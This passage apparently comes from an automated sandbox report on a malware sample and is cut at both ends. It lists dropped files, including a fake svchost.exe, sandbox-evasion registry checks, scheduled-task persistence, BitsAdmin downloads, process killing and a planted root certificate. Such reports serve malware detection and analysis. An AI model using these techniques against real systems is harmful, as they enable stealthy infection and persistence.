(x86)\lighteningplayer\plugins\packetizer\libpacketizer_a52_plugin.dll autosubplayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\gui\libqt_plugin.dll autosubplayer.exe -
Drops file in Windows directory 15 IoCs
description ioc Process File created C:\Windows\System\xxx1.bak YTDtEif11P99NgeKwT6fC4ch.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri Process not Found File created C:\Windows\rescache\_merged\3720402701\2274612954.pri msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\System\svchost.exe YTDtEif11P99NgeKwT6fC4ch.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\System\svchost.exe YTDtEif11P99NgeKwT6fC4ch.exe File created C:\Windows\System\xxx1.bak svchost.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2288 1316 WerFault.exe 81 4540 2280 WerFault.exe 85 2236 2760 WerFault.exe 82 4968 5108 WerFault.exe 133 -
NSIS installer 4 IoCs
resource yara_rule behavioral7/files/0x000400000001ac71-181.dat nsis_installer_1 behavioral7/files/0x000400000001ac71-181.dat nsis_installer_2 behavioral7/files/0x000400000001ac71-192.dat nsis_installer_1 behavioral7/files/0x000400000001ac71-192.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 21 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI CObebYmiTdY_PuwpkFiVDpKe.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8A71.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI HpQtObz62dT6szj1j12odrbQ.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F190.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F190.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bfusvrr Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bfusvrr Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bwusvrr Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bwusvrr Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI CObebYmiTdY_PuwpkFiVDpKe.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8A71.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI HpQtObz62dT6szj1j12odrbQ.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F190.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uiusvrr Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bfusvrr Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bwusvrr Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI CObebYmiTdY_PuwpkFiVDpKe.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8A71.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI HpQtObz62dT6szj1j12odrbQ.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uiusvrr Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uiusvrr -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 8E9C.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 8E9C.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4900 schtasks.exe 4676 schtasks.exe 5100 schtasks.exe 7140 schtasks.exe 7064 schtasks.exe 8000 schtasks.exe 7948 schtasks.exe 4008 schtasks.exe 9040 schtasks.exe 4984 schtasks.exe 4480 schtasks.exe 4124 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 4232 timeout.exe 2976 timeout.exe -
Download via BitsAdmin 1 TTPs 2 IoCs
pid Process 8420 bitsadmin.exe 2216 bitsadmin.exe -
Kills process with taskkill 8 IoCs
pid Process 5516 taskkill.exe 2224 taskkill.exe 8912 taskkill.exe 5096 taskkill.exe 4312 taskkill.exe 5988 taskkill.exe 192 taskkill.exe 9000 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies data under HKEY_USERS 16 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{16F7D342-F974-4E18-9704-CECF37309CFC} = "0" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory msiexec.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K2QMW1I5-C7CF-APK0-W60J-X1GR5HEJENXO}\1 = "25" rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{U9IGI0Q2-B7HR-SAI9-Z61V-J0SY8EIASHJB}\650478DC7424C37C\2 = "1" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 25b0743d06c1d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" cmd.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix msiexec.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K5LCW0M1-B0IY-MYL1-T02I-K3XH6KLEMLHY}\1 = "8512" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = ae197aa65fc7d701 msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 25b0743d06c1d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 6d7d92905fc7d701 msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{U9IGI0Q2-B7HR-SAI9-Z61V-J0SY8EIASHJB} svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 8274a8c05fc7d701 msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Process not Found Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d71b7c9c5fc7d701 msiexec.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 40caa1ee5fc7d701 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{U9IGI0Q2-B7HR-SAI9-Z61V-J0SY8EIASHJB}\650478DC7424C37C svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Fri051e1e7444.exe Set value (data) 